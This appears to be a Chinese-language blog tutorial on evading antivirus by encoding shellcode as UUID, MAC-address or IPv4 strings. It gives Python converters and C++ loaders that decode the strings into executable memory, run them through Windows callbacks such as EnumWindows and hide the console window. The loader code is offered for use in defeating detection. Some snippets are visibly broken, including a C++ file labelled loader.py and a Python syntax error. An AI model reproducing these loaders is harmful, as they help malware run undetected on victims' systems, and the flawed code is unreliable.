在学习免杀的过程中,发现这种转换思路换汤不换药,遂对这三种方式一起总结。简单来说,就是对shellcode进行了伪装,伪装成uuid、mac或ip地址。利用Windows自身提供的API来将封装好的shellcode写入到内存执行,大大增加查杀的难度。
另外,本文仅是免杀技术中的一点技巧,实际情况下,可以结合其他方式如加密、编码、分离等手段提升免杀效果。
本文用python对shellcode进行转换,用c++编写loader。
shellcode2uuid
uuid简介
uuid,通用唯一标识符,是一个标准的 128 位数字(通常以 32 个十六进制数字表示),用于在分布式系统中唯一标识信息。uuid
的生成算法保证了在大多数情况下,不同计算机生成的 uuid
是唯一的,即使在不同时间或空间中生成的 uuid
也是唯一的。
形如 8-4-4-4-12:
1
|
550e8400-e29b-41d4-a716-446655440000
|
每两个十六进制数占一个字节,因此一个uuid需要16字节。
转换
首先将包含shellcode的字节数组进行处理,确保为长度为16的倍数。然后再将shellcode划分成长16字节的块,并为每个块创建一个uuid,形成uuid列表,以c语言数组形式输出。
实现转换的函数:uuid.UUID
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import uuid
# 字节字符串
shellcode = b"\xfc\x48\x83\xe4\xf0\xe8\xc8..."
# 用于存放shellcode转换成的uuid
uuid_list = []
# 确保 shellcode 长度是 16 的倍数,用 NOP(\x90) 进行填充
# NOP: 空操作,不执行任何操作,只是占用一个指令周期
if len(shellcode) % 16 != 0:
shellcode += b'\x90' * (16 - len(shellcode) % 16)
# 每16字节为一组,遍历 shellcode
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i + 16]
# 为每组创建一个 UUID(GUID)
uuid_chunk = uuid.UUID(bytes_le=chunk)
uuid_list.append(str(uuid_chunk))
#输出uuid的c语言数组形式
uuids = "const char* uuids[] = {"
for uuid in uuid_list:
uuids = uuids + f"\"{uuid}\","
uuids = uuids[:-1] + "};"
print(uuids)
|
loader
申请内存空间-转换为原始shellcode并复制到内存中-执行。
使用UuidFromStringA
将字符串转换回原始的shellcode。
loader.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
#include <Windows.h>
#include <stdio.h>
#include <rpc.h>
// 不显示黑窗口
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
// 预处理指令,告诉编译器在链接时将Rpcrt4.lib库文件包含到项目中,确保在编译时正确链接所需的库,在程序中使用RPC相关的功能。
#pragma comment(lib, "Rpcrt4.lib")
using namespace std;
const char* uuids[] = { "e48348fc-e8f0-00c8-0000-415141505251","d2314856-4865-528b-6048-8b5218488b52",... };
void main() {
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
// 分配0x1000000(1MB)大小的内存块
void* buffer = HeapAlloc(hc, 0, 0x1000000);
if (!buffer) return;
// PBYTE是一个指向字节类型的指针,通常用于表示字节数据的地址。
PBYTE buffer_backup = (PBYTE)buffer;
// 统计uuid数组元素个数
int elems = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0;i < elems;i++) {
// 将uuid转换为二进制字节序列
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)buffer_backup);
// RPC_S_OK,通常用于指示 RPC 操作成功执行
if (status != RPC_S_OK) {
CloseHandle(buffer);
return;
}
buffer_backup += 16;
}
// 调用回调函数
EnumSystemLocalesA((LOCALE_ENUMPROCA)buffer, 0);
CloseHandle(buffer);
}
|
shellcode2mac
mac简介
MAC地址(Media Access Control Address)由六组两位十六进制数(0-9 和 A-F)组成,每组之间用冒号(:)或短横线(-)分隔。例如,00:1A:2B:3C:4D:5E
或 00-1A-2B-3C-4D-5E
。
MAC地址是6字节。
转换
首先,通过循环将shellcode分割为长度为6的字节块,并使用 ctypes.windll.Ntdll.RtlEthernetAddressToStringA
函数将每个字节块转换为 MAC 地址形式。
shellcode2mac.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#coding = utf-8
# python2
import ctypes
shellcode = b"\xfc\x48\x83\xe4\xf0\xe8..."
#申请内存
macmem = ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode)/6*17, 0x3000,0x40)
#将shellcode划分成字节块(每六位划分,因为mac地址是六字节)
for i in range(len(shellcode)/6):
// 划分
bytes_a = shellcode[i*6:i*6+6]
// 17是包括了mac地址中的分隔符,每个地址字符串就是17的长度
ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
#string_at()是ctypes库中的一个函数,从指定内存地址读取数据并将其解释为字符串
#每个字节由2个字符(十六进制表示)表示,再加上一个额外分隔符
a = ctypes.string_at(macmem, len(shellcode) * 3 -1)
list = []
#每隔6个字节进行一次转换,内存地址递增17
for i in range(len(shellcode)/6):
d = ctypes.string_at(macmem+i*17,17)
list.append(d)
s = '","'.join(list)
print('"'+s+'"')
|
代码写到这,对比前面的基于uuid
的方式,同样是对shellcode做转换,mac地址这里并没有严格处理shellcode的长度,也就是判断其长度是否为6的倍数。经过验证,当最后一组不足6字节的时候,函数RtlEthernetAddressToStringA
不会将其转换成mac地址。输出的时候会直接去掉不足6字节的部分。之后加载器在处理的时候,没有这部分照样可以成功上线,说明这部分数据在shellcode中是无意义的。
有的文章这部分的处理,会像之前转换成uuid之前那样,用\x00
做填充处理
1
2
3
4
|
# 如果不能被6整除,就补充剩余的字节
if len(shellcode) % 6 != 0:
replenish_byte = b"\x00" * (6 - len(shellcode) % 6)
shellcode = shellcode + replenish_byte
|
loader
申请内存空间-转换为原始shellcode并复制到内存中-执行。
使用函数RtlEthernetStringToAddressA
将其转换回原始shellcode。
loader.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
#include <windows.h>
#include<stdio.h>
#include <ip2string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;
int main() {
const char* buf[] = { "FC-48-83-E4-F0-E8",...};
// PCSTR是一个指向常量字符的指针类型,通常用于表示指向以 null 结尾的 ANSI 字符串的指针
PCSTR lTerminator = NULL;
LPVOID new_mem = VirtualAlloc(NULL, sizeof(buf) * 6, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD_PTR ptr = (DWORD_PTR)new_mem;
// 计算mac个数
int init = sizeof(buf) / sizeof(buf[0]);
for(int i=0;i<init;i++){
// 将以字符串形式表示的以太网地址转换为二进制形式的网络地址
// DL_EUI48类型用于表示一个 48 位的 EUI(Extended Unique Identifier)地址。这种类型通常用于网络编程或通信领域,用于表示唯一的硬件地址。
RPC_STATUS STATUS = RtlEthernetStringToAddressA((PCSTR)buf[i], &lTerminator,(DL_EUI48*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlEthernetStringToAddressA failed in %s result %x (%u)", buf[i], STATUS,
GetLastError());
return FALSE;
}
ptr += 6;
}
// 修改内存
DWORD pflOldProtect = 0;
VirtualProtect(new_mem, sizeof(buf) * 6, PAGE_EXECUTE, &pflOldProtect);
// 回调函数调用。WNDENUMPROC是一个函数指针类型,在Windows编程中用于枚举窗口的回调函数
EnumWindows((WNDENUMPROC)new_mem, NULL);
return 0;
}
|
shellcode2ipv4
ipv4简介
IPv4标准地址格式为 x.x.x.x
,其中 x
称为八位元
,它必须是 0 与 255 之间的十进制值。各个八位元之间以句点分隔。
IPv6标准地址格式为 y:y:y:y:y:y:y:y
,其中 y
称为段
,它可以是 0 与 FFFF 之间的任意十六进制值。这些段之间以冒号(而非句点)分隔。
转换成ipv4或者ipv6都差不多,只是在分段长度和转换函数上有区别。此处列出转换成ipv4的代码。
转换
首先判断shellcode长度是否能被整除【ipv4——4,ipv6——16】,若不能,剩余用\x00
填充。
使用函数RtlIpv4AddressToStringA
将原始shellcode转换成ipv4格式。
使用函数RtlIpv6AddressToStringA
将原始shellcode转换成ipv6格式。
shellcode2ipv4.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
# -*- coding: UTF-8 -*-
# python2
import ctypes
import sys
buf = b"\xfc\x48\x83..."
#如果不能被4整除,用\x00填充
if len(buf) % 4 != 0:
replenish_byte = b'\x00' * (4 - len(buf) % 4)
buf = buf + replenish_byte
shellcode = buf
# 申请内存
ipv4_address = ctypes.windll.kernel32.VirtualAlloc(0, ctypes.(len(shellcode) // 4 * 16), 0x3000, 0x40)
# 将shellcode转换为ipv4字符串
for i in range(len(shellcode) // 4):
cut_byte = shellcode[i * 4:4 + i * 4]
ctypes.windll.Ntdll.RtlIpv4AddressToStringA(cut_byte, ipv4_address + i * 16)
ipv4_list = []
# 获取IPv4 地址的字符串
for i in range(len(shellcode) // 4):
ipv4_str = ctypes.string_at(ipv4_address + i * 16, 16)
ipv4_list.append(ipv4_str)
s = '","'.join(ipv4_list)
print('"'+s+'"')
|
loader
申请内存空间-转换为原始shellcode并复制到内存中-执行。
使用RtlIpv4StringToAddressA
函数将其转换回原始shellcode。
使用RtlIpv6StringToAddressA
函数将其转换回原始shellcode
loader.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
#include <windows.h>
#include <stdio.h>
#include <ip2string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
#pragma comment(lib,"ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status))>=0)
using namespace std;
int main() {
const char* buf[] = { "252.72.131.228 ","240.232.200.0 ",...};
PCSTR lTerminator = NULL;
DWORD pflOldProtect = 0;
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
int init = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)buf[i], FALSE, &lTerminator,
(in_addr*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)", buf[i], STATUS,
GetLastError());
return FALSE;
}
ptr += 4;
}
VirtualProtect(alloc_mem, sizeof(buf), PAGE_EXECUTE, &pflOldProtect);
EnumWindows((WNDENUMPROC)alloc_mem, NULL);
return 0;
}
|
总结
对比看来,这些转换方式不同之处在于分段长度和转换函数。其实就是对shellcode进行伪装,躲过杀软的检测。